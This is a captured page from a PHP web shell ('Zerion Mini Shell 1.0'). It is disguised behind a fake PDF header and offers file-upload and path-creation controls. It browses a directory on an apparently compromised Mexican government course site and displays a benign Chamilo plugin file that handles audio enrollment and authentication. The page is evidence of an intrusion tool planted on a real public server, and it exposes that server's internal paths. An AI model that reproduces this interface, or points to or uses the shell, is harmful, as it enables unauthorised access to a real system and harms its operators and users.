%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/whispeakauth/ajax/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/whispeakauth/ajax/record_audio.php

<?php
/* For licensing terms, see /license.txt */

use Chamilo\PluginBundle\WhispeakAuth\Controller\AuthenticationController;
use Chamilo\PluginBundle\WhispeakAuth\Controller\EnrollmentController;

require_once __DIR__.'/../../../main/inc/global.inc.php';

$action = isset($_POST['action']) ? $_POST['action'] : 'enrollment';
$isEnrollment = 'enrollment' === $action;
$isAuthentify = 'authentify' === $action;

$isAllowed = false;

if ($isEnrollment) {
    api_block_anonymous_users(false);

    $controller = new EnrollmentController();

    header('Content-Type: application/json');

    try {
        echo json_encode($controller->ajax());
    } catch (Exception $exception) {
        echo json_encode(
            [
                'resultHtml' => Display::return_message($exception->getMessage(), 'error', false),
            ]
        );
    }
    exit;
}

if ($isAuthentify) {
    $controller = new AuthenticationController();

    header('Content-Type: application/json');

    try {
        echo json_encode($controller->ajax());
    } catch (Exception $exception) {
        echo json_encode(
            [
                'resultHtml' => Display::return_message($exception->getMessage(), 'error', false),
            ]
        );
    }
}

Zerion Mini Shell 1.0